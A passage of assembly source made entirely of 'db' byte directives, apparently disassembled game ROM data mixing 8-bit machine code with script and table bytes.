$DD, $CB, $86, $C9 db $0D, $7C, $67, $12, $73, $64, $0D, $8C db $67, $03, $BD, $65, $5D, $07, $00, $00 db $08, $80, $FF, $2A, $08, $19, $00, $20 db $2A, $F8, $19, $0C, $04, $19, $03, $1C db $2A, $08, $24, $16, $0D, $BA, $22, $D9 db $00, $19, $0D, $02, $19, $0E, $02, $19 db $0D, $02, $19, $0E, $02, $0D, $CE, $54 db $19, $10, $18, $2A, $F8, $19, $05, $02 db $19, $04, $02, $03, $ED, $67, $5D, $19 db $03, $10, $05, $01, $0D, $0C, $66, $11 db $E2, $67, $06, $73, $64, $CD, $BD, $65 db $D8, $CD, $8D, $22, $D0, $1E, $1D, $01 db $FD, $67, $C3, $46, $08, $03, $9E, $64 db $5D, $24, $3A, $0D, $BA, $22, $D9, $00 db $19, $0D, $02, $19, $0E, $02, $19, $0D db $02, $19, $0E, $02, $0D, $CE, $54, $19 db $10, $18, $19, $05, $02, $19, $04, $02 db $03, $2D, $68, $5D, $19, $05, $04, $19 db $04, $04, $06, $24, $68, $CD, $B0, $64 db $CD, $D3, $1E, $CD, $A4, $0D, $01, $63 db $63, $CD, $3C, $23, $38, $0C, $CD, $63 db $67, $D0, $1E, $1D, $01, $73, $64, $C3 db $46, $08, $1E, $1D, $01, $2A, $6B, $C3 db $46, $08, $0F, $41, $00, $0B, $67, $68 db $0D, $61, $65, $63, $68, $11, $55, $68 db $06, $73, $64, $80, $00, $C0, $00, $03 db $BD, $65, $5D, $07, $00, $00, $08, $80 db $FF, $2A, $08, $19, $04, $08, $19, $05 db $08, $19, $04, $08, $19, $05, $08, $2A db $F8, $19, $04, $08, $19, $05, $08, $19 db $04, $08, $01, $05, $05, $01, $0D, $0C db $66, $11, $8C, $68, $0C, $0F, $42, $00 db $0D, $CD, $68, $12, $A8, $68, $07, $00 db $00, $03, $BD, $68, $5D, $19, $03, $10 db $01, $03, $0F, $26, $00, $22, $3B, $5F db $1D, $03, $9E, $64, $5D, $24, $0A, $0D db $E6, $22, $D9, $01, $00, $CD, $BD, $65 db $D8, $CD, $8D, $22, $D0, $1E, $1D, $01 db $15, $69, $C3, $46, $08, $1E, $07, $21 db $17, $DD, $1A, $96, $FE, $2C, $38, $21 db $FE, $54, $30, $24, $3E, $01, $1E, $42 db $12, $CD, $47, $06, $FE, $40, $38, $18 db $FE, $80, $38, $0D, $3E, $01, $1E, $27 db $12, $3E, $FF, $1E, $42, $12, $C3, $68 db $66, $21, $0F, $69, $3E, $01, $18, $04 db $21, $12, $69, $AF, $1E, $41, $12, $CD db $BE, $20, $AF, $1E, $27, $12, $C9, $00 db $02, $E0, $00, $FE, $20, $03, $3D, $69 db $5D, $24, $3A, $0D, $BA, $22, $D9, $00 db $19, $0D, $02, $19, $0E, $02, $19, $0D db $02, $19, $0E, $02, $0D, $CE, $54, $19 db $10, $18, $19, $05, $02, $19, $04, $02 db $01, $03, $06, $A8, $68, $62, $2E, $0F db $2A, $B6, $28, $04, $CD, $BD, $65, $D8 db $62, $2E, $1F, $36, $5D, $2C, $36, $64 db $2C, $36, $9E, $C9, $0F, $47, $00, $03 db $9E, $64, $5D, $0D, $BD, $69, $24, $3E db $0D, $BA, $22, $D9, $00, $19, $0D, $02 db $19, $0E, $02, $19, $0D, $02, $19, $0E db $02, $0D, $CE, $54, $26, $00, $FF, $0D db $32, $10, $10, $0D, $9D, $69, $03, $19 db $6A, $5D, $19, $09, $10, $09, $04, $19 db $05, $02, $19, $04, $02, $0A, $08, $00 db $00, $09, $04, $19, $05, $02, $19, $04 db $02, $0A, $06, $73, $64, $1E, $42, $1A db $FE, $FF, $CA, $68, $66, $21, $B9, $69 db $1E, $41, $1A, $07, $85, $6F, $30, $01 db $24, $1E, $0F, $2A, $12, $1C, $7E, $12 db $C9, $80, $00, $80, $FF, $C5, $1E, $42 db $1A, $FE, $FF, $20, $04, $3E, $06, $18 db $08, $07, $47, $1E, $41, $1A, $80, $C6 db $07, $1E, $D9, $CD, $19, $23, $C1, $C9 db $18, $03, $9E, $64, $5D, $09, $03, $0B db $E6, $69, $0A, $06, $73, $64, $19, $03 db $04, $0D, $E6, $22, $D9, $0B, $19, $0F db $04, $19, $04, $0C, $0C, $09, $03, $0D db $72, $66, $0D, $A4, $66, $10, $41, $1A db $3F, $0D, $DE, $66, $26, $40, $01, $0D db $32, $10, $F0, $03, $19, $6A, $5D, $0B db $E6, $69, $0B, $E6, $69, $0A, $06, $73 db $64, $CD, $B0, $64, $CD, $E6, $1E, $CD db $A4, $0D, $01, $63, $63, $CD, $3C, $23 db $38, $0E, $CD, $4E, $67, $D0, $CD, $04 db $4F, $CD, $63, $67, $D0, $C3, $68, $66 db $1E, $1D, $01, $2A, $6B, $C3, $46, $08 db $03, $9E, $64, $5D, $09, $06, $19, $0F db $02, $19, $05, $02, $0A, $24, $0C, $03 db $99, $6A, $5D, $0D, $B4, $6A, $26, $00 db $04, $0D, $32, $10, $F0, $0D, $D1, $6A db $8D, $6A, $09, $08, $19, $04, $04, $19 db $05, $04, $0A, $26, $00, $FE, $29, $00 db $0D, $D1, $6A, $93, $6A, $19, $09, $40 db $0D, $32, $10, $20, $08, $00, $00, $2A db $00, $09, $04, $19, $04, $04, $19, $05 db $04, $0A, $06, $73, $64, $40, $FF, $06 db $C0, $00, $FA, $40, $02, $EE, $C0, $FD db $12, $CD, $B0, $64, $CD, $E6, $1E, $CD db $D3, $1E, $CD, $A4, $0D, $01, $63, $63 db $CD, $3C, $23, $D0, $1E, $1D, $01, $2A db $6B, $C3, $46, $08, $1E, $07, $21, $17 db $DD, $1A, $96, $FE, $2C, $38, $0D, $FE db $54, $30, $05, $CD, $2B, $20, $38, $04 db $3E, $01, $18, $01, $AF, $1E, $41, $12 db $C9, $0A, $6F, $03, $0A, $67, $03, $1E db $41, $1A, $5F, $07, $83, $85, $6F, $D2 db $BE, $20, $24, $C3, $BE, $20, $28, $13 db $40, $40, $6A, $13, $80, $03, $67, $06 db $1A, $66, $28, $13, $80, $52, $68, $06 db $1A, $66, $28, $13, $80, $52, $68, $13 db $C0, $1A, $66, $06, $03, $67, $28, $13 db $80, $03, $67, $06, $F5, $69, $28, $13 db $80, $40, $6A, $13, $C0, $03, $67, $06 db $1A, $66, $28, $13, $80, $40, $6A, $06 db $D8, $69, $28, $13, $80, $1A, $66, $06 db $03, $67, $0D, $B4, $6B, $0F, $41, $01 db $03, $45, $6B, $5D, $1C, $FA, $7C, $04 db $09, $06, $19, $07, $02, $19, $08, $02 db $0A, $0F, $41, $00, $00, $CD, $B0, $64 db $CD, $D7, $65, $CD, $67, $6B, $C0, $21 db $16, $DD, $CB, $A6, $06, $00, $1E, $4C db $1A, $FE, $5B, $D0, $04, $FE, $3D, $30 db $01, $04, $1E, $5C, $78, $12, $C9, $01 db $63, $63, $CD, $5B, $25, $1E, $41, $1A db $B7, $C0, $CD, $9D, $6B, $CD, $71, $0C db $CD, $86, $6B, $62, $2E, $60, $36, $3F db $2E, $44, $36, $18, $AF, $C9, $21, $21 db $DD, $1E, $03, $2A, $12, $1C, $2A, $12 db $1C, $2A, $12, $1C, $2A, $12, $1C, $2A db $12, $1C, $2A, $12, $C9, $21, $21, $DD db $1E, $03, $1A, $22, $1C, $1A, $22, $1C db $1A, $22, $1C, $1A, $22, $1C, $1A, $22 db $1C, $1A, $22, $C9, $21, $16, $DD, $CB db $E6, $C9, $0D, $A8, $74, $0F, $60, $3F db $22, $EF, $6C, $1D, $03, $9E, $64, $5D db $24, $0A, $0D, $B6, $10, $FF, $19, $0B db $40, $0F, $1C, $80, $1C, $8C, $47, $03 db $0D, $B6, $10, $0E, $04, $25, $47, $10 db $0F, $40, $00, $0F, $26, $00, $03, $22 db $6C, $5D, $09, $04, $19, $FF, $02, $19 db $12, $02, $0A, $09, $04, $19, $13, $02 db $19, $12, $02, $0A, $09, $08, $19, $13 db $02, $19, $14, $02, $0A, $18, $0D, $98 db $6C, $03, $4C, $6C, $5D, $19, $15, $01 db $19, $14, $03, $19, $17, $02, $19, $14 db $02, $0D, $DB, $6C, $11, $0D, $6C, $06 db $06, $6D, $CD, $B0, $64, $01, $63, $63 db $CD, $5B, $25, $1E, $26, $1A, $B7, $28 db $03, $3D, $12, $C9, $3E, $08, $12, $1E db $40, $1A, $C6, $14, $1E, $D9, $CD, $19 db $23, $1E, $40, $1A, $3C, $FE, $04, $38 db $01, $AF, $12, $C9, $CD, $B0, $64, $CD db $D8, $21, $CD, $C5, $21, $CD, $A4, $0D db $01, $63, $63, $CD, $5B, $25, $21, $51 db $DB, $1E, $04, $1A, $96, $FE, $50, $1E db $3C, $1A, $38, $0D, $07, $38, $0D, $21 db $16, $DD, $CB, $D6, $CD, $04, $4F, $18 db $03, $07, $38, $F3, $21, $53, $DB, $1E db $07, $1A, $96, $FE, $40, $1E, $3A, $1A db $38, $0A, $07, $D8, $21, $16, $DD, $CB db $DE, $C3, $68, $66, $07, $D0, $18, $F4 db $1E, $04, $21, $51, $DB, $1A, $96, $FE db $50, $30, $04, $3E, $40, $18, $02, $3E db $C0, $1E, $45, $12, $21, $D8, $6C, $CD db $A5, $21, $1E, $07, $21, $53, $DB, $1A db $96, $FE, $40, $21, $D8, $6C, $1E, $12 db $2A, $12, $1E, $39, $38, $0C, $2A, $2F db $C6, $01, $12, $1C, $7E, $2F, $CE, $00 db $12, $C9, $2A, $12, $1C, $7E, $12, $C9 db $10, $00, $02, $21, $16, $DD, $CB, $56 db $28, $08, $CB, $5E, $28, $04, $3E, $01 db $18, $01, $AF, $1E, $27, $12, $C9, $0D db $F7, $6C, $05, $04, $06, $EF, $6C, $C5 db $CD, $47, $06, $E6, $07, $C6, $0C, $1E db $D9, $CD, $19, $23, $C1, $C9, $03, $9E db $64, $5D, $19, $14, $04, $01, $17, $03 db $17, $6D, $5D, $0D, $30, $6D, $00, $CD db $B0, $64, $01, $63, $63, $CD, $5B, $25 db $CD, $22, $24, $FA, $4D, $CD, $B7, $C0 db $1E, $1D, $01, $DE, $6D, $C3, $46, $08 db $C5, $21, $4D, $CD, $36, $01, $2C, $3E db $60, $22, $3E, $88, $22, $3E, $00, $22 db $3E, $40, $22, $36, $80, $2C, $36, $06 db $C1, $C9, $FF, $02, $00, $00, $00, $87 db $74, $1D, $00, $00, $00, $87, $74, $1D db $8A, $6D, $93, $6D, $9C, $6D, $A7, $6D db $B2, $6D, $BF, $6D, $CC, $6D, $D5, $6D db $0B, $07, $01, $05, $04, $0B, $06, $01 db $08, $04, $0B, $06, $04, $07, $01, $0B db $07, $03, $08, $04, $07, $01, $0B, $06 db $01, $05, $03, $0B, $06, $02, $06, $04 db $FF, $22, $0E, $00, $01, $FF, $02, $00 db $03, $00, $FF, $0E, $00, $01, $FF, $03 db $00, $02, $00, $FF, $0E, $01, $02, $FF db $04, $05, $00, $06, $07, $01, $FF, $0E db $01, $02, $FF, $06, $07, $00, $04, $05 db $01, $FF, $0E, $02, $03, $05, $09, $0C db $08, $00, $0B, $0D, $0A, $00, $FF, $0E db $02, $03, $05, $0B, $0D, $0A, $00, $09 db $0C, $08, $00, $FF, $0E, $02, $03, $04 db $08, $0C, $09, $00, $FF, $0E, $02, $03 db $04, $0A, $0D, $0B, $00, $FF, $0F, $4A db $00, $0F, $4B, $00, $0F, $5B, $01, $0F db $4C, $78, $0D, $5F, $22, $0D, $72, $22 db $0D, $E0, $35, $50, $00, $40, $00, $0D db $21, $65, $0D, $6A, $6E, $0D, $17, $65 db $10, $00, $0D, $E6, $22, $D9, $23, $04 db $77, $4A, $10, $03, $58, $6E, $5D, $19 db $26, $10, $27, $19, $27, $08, $19, $05 db $08, $19, $01, $08, $0D, $0F, $20, $0B db $0A, $2D, $0D, $26, $65, $68, $6D, $0D db $70, $6E, $14, $FF, $22, $6E, $0D, $BF db $6E, $0D, $5B, $6F, $0D, $D3, $6E, $0E db $0E, $F7, $6E, $F7, $6E, $50, $70, $84 db $70, $96, $70, $AE, $70, $C6, $70, $DE db $70, $F6, $70, $0E, $71, $26, $71, $3E db $71, $56, $71, $91, $71, $06, $27, $6E db $CD, $E9, $64, $01, $4A, $6D, $CD, $3C db $23, $D0, $1E, $1D, $01, $34, $74, $C3 db $46, $08, $3E, $11, $EA, $1A, $DD, $C9 db $C5, $1E, $3D, $1A, $6F, $1C, $1A, $67 db $2A, $FE, $FF, $20, $05, $1E, $27, $12 db $C1, $C9, $FE, $0B, $20, $0A, $CD, $47 db $06, $E6, $01, $1E, $43, $12, $18, $E8 db $FE, $05, $30, $25, $B7, $28, $16, $D6 db $01, $07, $4F, $1E, $5C, $1A, $B7, $20 db $06, $1E, $43, $1A, $81, $18, $06, $CD db $47, $06, $E6, $01, $81, $1E, $27, $12 db $1E, $3D, $7D, $12, $1C, $7C, $12, $C1 db $C9, $EA, $1B, $DD, $C3, $78, $6E, $1E db $27, $1A, $07, $21, $58, $6D, $85, $6F db $30, $01, $24, $2A, $1E, $3F, $12, $1C db $7E, $12, $C9, $1E, $3F, $1A, $6F, $1C db $1A, $67, $2A, $FE, $0E, $20, $0D, $2A db $EA, $1C, $DD, $2A, $EA, $1D, $DD, $2A db $EA, $1E, $DD, $2A, $1E, $27, $12, $1E db $3F, $7D, $12, $1C, $7C, $12, $C9, $0D db $55, $6F, $0D, $D9, $6F, $0D, $D3, $6F db $11, $03, $37, $6F, $5D, $19, $00, $06 db $19, $02, $0A, $0D, $59, $42, $12, $17 db $6F, $19, $00, $03, $06, $1D, $6F, $19 db $03, $03, $0D, $62, $42, $19, $00, $03 db $19, $01, $0A, $0D, $61, $6F, $0E, $06 db $CC, $71, $30, $72, $75, $72, $20, $73 db $3B, $73, $EB, $73, $06, $31, $6E, $CD db $E9, $64, $CD, $E6, $1E, $CD, $D3, $1E db $CD, $A4, $0D, $CD, $9C, $6F, $01, $4A db $6D, $CD, $3C, $23, $D0, $1E, $1D, $01 db $34, $74, $C3, $46, $08, $21, $16, $DD db $CB, $86, $C9, $21, $16, $DD, $CB, $C6 db $C9, $FA, $16, $DD, $CB, $47, $28, $2E db $21, $1B, $DD, $2A, $FE, $05, $28, $26 db $FE, $09, $38, $18, $28, $0F, $CD, $47 db $06, $1E, $00, $D6, $56, $38, $03, $1C db $18, $F9, $7B, $18, $09, $CD, $47, $06 db $E6, $01, $18, $02, $D6, $06, $85, $6F db $30, $01, $24, $7E, $18, $02, $3E, $FF db $1E, $27, $12, $C9, $FA, $1A, $DD, $FE db $11, $C0, $21, $51, $DB, $1E, $04, $1A db $96, $FE, $50, $1E, $0E, $1A, $38, $08 db $07, $38, $08, $CD, $04, $4F, $18, $03 db $07, $38, $F8, $21, $53, $DB, $1E, $07 db $1A, $96, $FE, $40, $1E, $10, $1A, $38 db $05, $07, $D8, $C3, $68, $66, $07, $D0 db $C3, $68, $66, $0A, $03, $EA, $1A, $DD db $C9, $FA, $1A, $DD, $67, $E6, $0F, $3D db $07, $6F, $07, $85, $6F, $7C, $CB, $37 db $E6, $0F, $D6, $02, $CB, $37, $67, $0F db $84, $85, $21, $08, $70, $85, $6F, $30 db $01, $24, $1E, $0D, $2A, $12, $1C, $2A db $12, $1E, $11, $2A, $12, $C3, $BE, $20 db $00, $00, $10, $00, $00, $00, $00, $00 db $F0, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $18, $80, $00, $00, $00, $00 db $18, $80, $FF, $00, $00, $00, $E8, $80 db $00, $00, $00, $00, $E8, $80, $FF, $00 db $80, $01, $00, $00, $00, $18, $80, $01 db $00, $00, $00, $E8, $80, $FE, $00, $00 db $00, $18, $80, $FE, $00, $00, $00, $E8 db $0D, $62, $70, $5C, $70, $0D, $D3, $6F db $21, $06, $01, $6F, $00, $FE, $10, $00 db $00, $00, $0A, $6F, $03, $0A, $67, $03 db $FA, $1A, $DD, $FE, $11, $28, $07, $3E db $06, $85, $6F, $30, $01, $24, $1E, $0D db $2A, $12, $1C, $2A, $12, $1E, $11, $2A db $12, $C3, $BE, $20, $0D, $62, $70, $90 db $70, $0D, $D3, $6F, $22, $06, $01, $6F db $00, $02, $F0, $00, $00, $00, $0D, $62 db $70, $A2, $70, $0D, $D3, $6F, $31, $06 db $01, $6F, $00, $FD, $18, $80, $FF, $00 db $00, $01, $F0, $00, $FF, $00, $0D, $62 db $70, $BA, $70, $0D, $D3, $6F, $32, $06 db $01, $6F, $00, $FD, $18, $80, $00, $00 db $00, $FF, $10, $00, $01, $00, $0D, $62 db $70, $D2, $70, $0D, $D3, $6F, $33, $06 db $01, $6F, $00, $03, $E8, $80, $FF, $00 db $00, $01, $F0, $00, $FF, $00, $0D, $62 db $70, $EA, $70, $0D, $D3, $6F, $34, $06 db $01, $6F, $00, $03, $E8, $80, $00, $00 db $00, $FF, $10, $00, $01, $00, $0D, $62 db $70, $02, $71, $0D, $D3, $6F, $41, $06 db $01, $6F, $80, $FE, $00, $00, $FD, $18 db $80, $FE, $18, $80, $FE, $00, $0D, $62 db $70, $1A, $71, $0D, $D3, $6F, $42, $06 db $01, $6F, $80, $FE, $00, $00, $03, $E8 db $80, $FE, $18, $80, $01, $00, $0D, $62 db $70, $32, $71, $0D, $D3, $6F, $43, $06 db $01, $6F, $80, $01, $00, $00, $FD, $18 db $80, $01, $E8, $80, $FE, $00, $0D, $62 db $70, $4A, $71, $0D, $D3, $6F, $44, $06 db $01, $6F, $80, $01, $00, $00, $03, $E8 db $80, $01, $E8, $80, $01, $00, $0D, $6E db $71, $62, $71, $0D, $D3, $6F, $51, $06 db $01, $6F, $80, $FE, $18, $80, $01, $00 db $80, $FE, $18, $80, $FE, $00, $0A, $6F db $03, $0A, $67, $03, $FA, $1A, $DD, $3D db $E6, $01, $07, $5F, $07, $83, $85, $6F db $30, $01, $24, $1E, $0D, $2A, $12, $1C db $2A, $12, $1E, $11, $2A, $12, $C3, $BE db $20, $0D, $6E, $71, $9D, $71, $0D, $D3 db $6F, $52, $06, $01, $6F, $80, $01, $E8 db $80, $01, $00, $80, $01, $E8, $80, $FE db $00, $03, $58, $6E, $5D, $19, $00, $06 db $19, $02, $0A, $0D, $59, $42, $12, $BF db $71, $19, $00, $03, $06, $C5, $71, $19 db $03, $03, $0D, $62, $42, $19, $00, $03 db $19, $01, $0A, $0C, $0B, $A9, $71, $03 db $58, $6E, $5D, $09, $03, $19, $00, $04 db $19, $03, $04, $0D, $62, $42, $19, $00 db $04, $0D, $62, $42, $19, $2B, $04, $0A db $27, $10, $45, $1A, $42, $0F, $26, $00 db $0F, $41, $00, $03, $12, $72, $5D, $19 db $00, $20, $19, $03, $08, $0D, $62, $42 db $19, $00, $30, $0D, $62, $42, $19, $2B db $08, $19, $00, $20, $0B, $A9, $71, $06 db $31, $6E, $CD, $58, $6E, $1E, $26, $1A db $B7, $28, $03, $3D, $12, $C9, $3E, $08 db $12, $1E, $41, $1A, $FE, $10, $D0, $3C db $12, $3E, $1A, $1E, $D9, $C3, $19, $23 db $0B, $A9, $71, $03, $58, $6E, $5D, $0D db $55, $72, $19, $02, $18, $0D, $64, $72 db $19, $05, $20, $09, $04, $19, $00, $06 db $19, $02, $0A, $19, $00, $06, $19, $01 db $0A, $0A, $06, $31, $6E, $FA, $1A, $DD db $CB, $37, $E6, $0F, $FE, $03, $DA, $C0 db $1E, $C3, $F7, $65, $C5, $3E, $1B, $F5 db $1E, $D9, $CD, $19, $23, $F1, $3C, $FE db $1F, $38, $F4, $C1, $C9, $0B, $A9, $71 db $03, $58, $6E, $5D, $0D, $F7, $65, $0D db $97, $72, $19, $04, $08, $0D, $F9, $72 db $09, $03, $19, $00, $04, $19, $01, $04 db $0A, $11, $82, $72, $06, $31, $6E, $C5 db $FA, $1A, $DD, $5F, $CB, $37, $E6, $0F db $D6, $03, $6F, $FE, $02, $28, $1E, $7B db $E6, $0F, $3D, $E6, $01, $07, $5F, $7D db $07, $07, $83, $01, $DB, $72, $81, $4F db $30, $01, $04, $21, $1F, $DD, $0A, $22 db $03, $0A, $77, $C1, $C9, $1E, $10, $1A db $07, $38, $05, $01, $F6, $72, $18, $03 db $01, $F3, $72, $21, $1F, $DD, $79, $22 db $70, $C1, $C9, $E3, $72, $E8, $72, $ED db $72, $F0, $72, $00, $01, $02, $03, $FF db $03, $02, $01, $00, $FF, $02, $03, $FF db $01, $00, $FF, $01, $02, $FF, $02, $01 db $FF, $21, $1F, $DD, $2A, $66, $6F, $2A db $FE, $FF, $20, $06, $3E, $01, $1E, $27 db $12, $C9, $C5, $44, $4D, $21, $1F, $DD db $71, $23, $70, $C6, $1F, $1E, $D9, $CD db $19, $23, $AF, $1E, $27, $12, $C1, $C9 db $0D, $29, $73, $12, $78, $72, $06, $75 db $72, $21, $16, $DD, $CB, $66, $20, $05 db $CB, $E6, $AF, $18, $02, $3E, $01, $1E db $27, $12, $C9, $0D, $F7, $65, $03, $58 db $6E, $5D, $19, $00, $03, $19, $02, $05 db $19, $00, $03, $19, $01, $05, $0D, $E6 db $22, $D9, $24, $0D, $DC, $73, $09, $04 db $0D, $E6, $22, $D9, $27, $0A, $0D, $DC db $73, $19, $05, $03, $19, $27, $01, $19 db $26, $03, $19, $27, $01, $0D, $E6, $22 db $D9, $25, $19, $05, $03, $19, $27, $01 db $0D, $E6, $22, $D9, $25, $19, $26, $03 db $19, $27, $01, $24, $0C, $22, $E1, $73 db $1D, $03, $F3, $73, $5D, $0D, $0E, $74 db $26, $80, $02, $29, $00, $2A, $00, $08 db $00, $00, $19, $05, $08, $0D, $D1, $6A db $D0, $73, $19, $05, $20, $0D, $32, $10 db $D8, $0D, $D1, $6A, $D6, $73, $19, $05 db $10, $0F, $1C, $80, $19, $00, $03, $19 db $02, $05, $19, $00, $03, $19, $01, $05 db $29, $00, $19, $00, $20, $08, $00, $00 db $2A, $00, $19, $00, $08, $06, $31, $6E db $80, $FF, $08, $80, $00, $F8, $80, $01 db $F4, $80, $FE, $0C, $AF, $EA, $28, $DD db $C9, $0D, $E6, $22, $D9, $26, $05, $02 db $06, $E1, $73, $28, $13, $80, $3B, $73 db $06, $31, $6E, $CD, $E9, $64, $CD, $E6 db $1E, $CD, $D3, $1E, $CD, $A4, $0D, $01 db $4A, $6D, $CD, $3C, $23, $D0, $1E, $1D db $01, $34, $74, $C3, $46, $08, $FA, $1A db $DD, $CB, $37, $E6, $0F, $FE, $05, $28 db $0D, $1E, $07, $21, $17, $DD, $1A, $96 db $FE, $40, $38, $0B, $18, $05, $CD, $2B db $20, $38, $04, $3E, $01, $18, $01, $AF db $1E, $41, $12, $C9, $0F, $41, $01, $03 db $52, $74, $5D, $1C, $FA, $7C, $04, $09 db $03, $19, $04, $02, $19, $00, $01, $19 db $01, $02, $19, $00, $01, $0A, $0F, $41 db $00, $00, $CD, $E9, $64, $CD, $68, $74 db $C0, $06, $00, $1E, $4C, $1A, $FE, $3D db $30, $01, $04, $1E, $5C, $78, $12, $C9 db $01, $4A, $6D, $CD, $5B, $25, $1E, $41 db $1A, $B7, $C0, $CD, $9D, $6B, $CD, $71 db $0C, $CD, $86, $6B, $62, $2E, $60, $36 db $3F, $2E, $44, $36, $16, $AF, $C9, $0F db $4C, $00, $0D, $9D, $74, $0D, $17, $65 db $00, $00, $0D, $A8, $74, $1C, $85, $47 db $03, $0D, $67, $23, $16, $C5, $01, $00 db $50, $26, $04, $CD, $E0, $30, $C1, $C9 db $21, $E4, $4C, $3E, $03, $CD, $CF, $05 db $C9, $FF, $02, $9B, $4D, $03, $33, $4E db $03, $00, $00, $00, $2A, $4F, $03, $17 db $FF, $0D, $0F, $61, $00, $0F, $4C, $01 db $0D, $F9, $1F, $0D, $0F, $20, $08, $08 db $00, $10, $5B, $13, $1A, $DE, $74, $04 db $77, $4A, $10, $06, $E2, $74, $04, $25 db $47, $10, $0E, $29, $37, $75, $53, $75 db $CF, $75, $CF, $75, $CF, $75, $CF, $75 db $33, $76, $93, $76, $A2, $76, $AA, $76 db $EA, $76, $CA, $77, $FB, $77, $FB, $77 db $FB, $77, $FB, $77, $FB, $77, $FB, $77 db $FB, $77, $FB, $77, $42, $78, $42, $78 db $42, $78, $42, $78, $CF, $7D, $04, $7E db $9D, $78, $54, $79, $03, $7A, $55, $7A db $A7, $7A, $10, $7B, $10, $7B, $10, $7B db $10, $7B, $16, $7C, $AA, $7C, $D6, $7C db $06, $7D, $66, $7D, $88, $7E, $16, $0D db $0F, $20, $08, $0E, $3F, $03, $42, $75 db $5D, $00, $CD, $01, $65, $01, $51, $75 db $CD, $E8, $24, $01, $B1, $74, $C3, $5B db $25, $17, $FE, $0D, $0F, $20, $06, $07 db $3F, $0D, $D1, $1F, $03, $E7, $0F, $40 db $00, $0F, $26, $00, $03, $95, $75, $5D db $09, $04, $19, $FF, $02, $19, $12, $02 db $0A, $09, $04, $19, $13, $02, $19, $12 db $02, $0A, $09, $04, $19, $13, $02, $19 db $14, $02, $0A, $0D, $BF, $75, $11, $8E db $75, $05, $01, $06, $83, $75, $0D, $93 db $23, $1D, $54, $69, $16, $CD, $01, $65 db $01, $B1, $74, $CD, $5B, $25, $1E, $26 db $1A, $B7, $28, $03, $3D, $12, $C9, $3E db $04, $12, $1E, $40, $1A, $C6, $02, $1E db $D9, $CD, $19, $23, $1E, $40, $1A, $3C db $FE, $04, $38, $01, $AF, $12, $C9, $21 db $16, $DD, $CB, $66, $20, $03, $AF, $18 db $02, $3E, $01, $1E, $27, $12, $C9, $0D db $FD, $75, $DF, $75, $02, $19, $11, $04 db $03, $F7, $75, $5D, $05, $02, $16, $00 db $01, $00, $01, $FA, $F8, $00, $FF, $00 db $01, $06, $F8, $00, $01, $00, $FF, $FA db $08, $00, $FF, $00, $FF, $06, $08, $CD db $01, $65, $C3, $A4, $0D, $0A, $6F, $03 db $0A, $67, $03, $0A, $03, $C5, $4F, $1E db $5B, $1A, $91, $07, $47, $07, $80, $85 db $6F, $30, $01, $24, $CD, $F9, $20, $1E db $0F, $2A, $12, $1C, $2A, $12, $44, $4D db $CD, $D1, $1F, $C1, $C9, $FF, $02, $00 db $00, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $26, $40, $00, $0D, $32 db $10, $20, $0D, $0F, $20, $06, $07, $00 db $0D, $D1, $1F, $0F, $FE, $22, $3B, $5F db $1D, $03, $7E, $76, $5D, $0D, $E6, $22 db $D9, $19, $19, $14, $02, $19, $13, $05 db $19, $15, $01, $0D, $E6, $22, $D9, $19 db $19, $14, $02, $19, $13, $05, $19, $15 db $01, $29, $00, $2A, $00, $0D, $E6, $22 db $D9, $19, $19, $14, $02, $19, $13, $05 db $19, $15, $01, $06, $6D, $76, $CD, $01 db $65, $CD, $E6, $1E, $CD, $D3, $1E, $CD db $A4, $0D, $01, $25, $76, $CD, $5B, $25 db $C3, $65, $77, $08, $80, $01, $2A, $D4 db $26, $40, $00, $0D, $32, $10, $14, $06 db $3A, $76, $08, $80, $FE, $2A, $2C, $06 db $98, $76, $0D, $0F, $20, $06, $07, $00 db $0D, $D1, $1F, $0F, $FE, $22, $3B, $5F db $1D, $03, $7E, $76, $5D, $26, $40, $00 db $0D, $32, $10, $18, $08, $C0, $FE, $2A db $28, $0D, $E6, $22, $D9, $19, $19, $14 db $02, $19, $13, $05, $19, $15, $01, $0D db $E6, $22, $D9, $19, $19, $14, $02, $19 db $13, $05, $19, $15, $01, $2A, $F8, $06 db $27, $77, $0D, $0F, $20, $06, $07, $00 db $0D, $D1, $1F, $0F, $FE, $22, $3B, $5F db $1D, $03, $7E, $76, $5D, $26, $40, $00 db $0D, $32, $10, $18, $08, $40, $01, $2A db $D8, $0D, $E6, $22, $D9, $19, $19, $14 db $02, $19, $13, $05, $19, $15, $01, $0D db $E6, $22, $D9, $19, $19, $14, $02, $19 db $13, $05, $19, $15, $01, $2A, $08, $03 db $59, $77, $5D, $09, $04, $0D, $E6, $22 db $D9, $19, $19, $14, $02, $19, $13, $05 db $19, $15, $01, $0A, $29, $00, $03, $7E db $76, $5D, $09, $04, $0D, $E6, $22, $D9 db $19, $19, $14, $02, $19, $13, $05, $19 db $15, $01, $0A, $0D, $58, $22, $06, $42 db $77, $CD, $01, $65, $CD, $A4, $0D, $01 db $25, $76, $CD, $5B, $25, $FA, $2C, $DD db $CB, $4F, $C8, $E0, $80, $01, $10, $00 db $26, $02, $CD, $E0, $30, $F0, $80, $CB db $5F, $20, $3D, $CD, $C0, $1E, $2F, $12 db $1E, $26, $21, $99, $42, $3E, $1E, $CD db $CF, $05, $F0, $9A, $57, $01, $C1, $77 db $CD, $AF, $0F, $28, $23, $2E, $46, $5D db $1A, $77, $01, $C4, $77, $CD, $AF, $0F db $28, $16, $2E, $46, $5D, $1A, $77, $01 db $C7, $77, $CD, $AF, $0F, $28, $09, $2E db $46, $5D, $1A, $77, $62, $C3, $BA, $0B db $62, $1E, $03, $01, $66, $49, $C3, $49 db $08, $18, $00, $00, $19, $00, $00, $1A db $00, $00, $24, $42, $0D, $0F, $20, $05 db $02, $BF, $0D, $D1, $1F, $07, $06, $26 db $00, $02, $0D, $32, $10, $20, $22, $3B db $5F, $1D, $03, $EC, $77, $5D, $19, $16 db $10, $29, $00, $00, $CD, $01, $65, $CD db $E6, $1E, $CD, $A4, $0D, $01, $B1, $74 db $C3, $5B, $25, $0D, $FD, $75, $12, $78 db $0C, $03, $F7, $75, $5D, $19, $15, $02 db $19, $14, $02, $19, $12, $02, $19, $11 db $02, $16, $00, $FE, $00, $00, $F3, $FE db $00, $02, $00, $00, $0B, $FE, $00, $00 db $00, $FE, $FF, $F2, $00, $00, $00, $02 db $FF, $0A, $96, $FE, $96, $FE, $F5, $F4 db $96, $FE, $6A, $01, $F5, $08, $6A, $01 db $96, $FE, $09, $F4, $6A, $01, $6A, $01 db $09, $08, $0D, $6F, $78, 